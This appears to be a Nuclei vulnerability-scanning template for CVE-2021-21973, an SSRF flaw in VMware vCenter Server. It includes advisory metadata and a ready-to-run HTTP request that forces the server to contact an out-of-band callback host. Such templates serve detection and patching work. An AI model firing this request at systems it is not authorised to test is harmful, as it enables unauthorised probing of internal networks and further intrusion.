VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
PoC代码[已公开]
id: CVE-2021-21973
info:
name: VMware vSphere - Server-Side Request Forgery
author: pdteam
severity: medium
description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
impact: |
Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
remediation: |
Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
reference:
- https://twitter.com/osama_hroot/status/1365586206982082560
- https://twitter.com/bytehx343/status/1486582542807420928
- https://www.vmware.com/security/advisories/VMSA-2021-0002.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-21973
- https://github.com/soosmile/POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-21973
cwe-id: CWE-918
epss-score: 0.89047
epss-percentile: 0.99511
cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: vmware
product: cloud_foundation
tags: cve2021,cve,vmware,ssrf,vcenter,oast,kev
http:
- raw:
- |
GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
Host: {{Hostname}}
Vcip: {{interactsh-url}}
Vcpassword: {{rand_base(6)}}
Vcusername: {{rand_base(6)}}
Reqresource: {{rand_base(6)}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "The server sent HTTP status code 200"
- type: status
status:
- 500
# digest: 4b0a00483046022100dd6df6718a5b31f59da80a3f270e76398c47e0d9a5edbc14a98cdbf591e76661022100f1b00d7d6afd03312ac1dc4f4ac992c0b209ab26a9baf05fd40cd7e74da15f0d:922c64590222798bb761d5b6d8e72950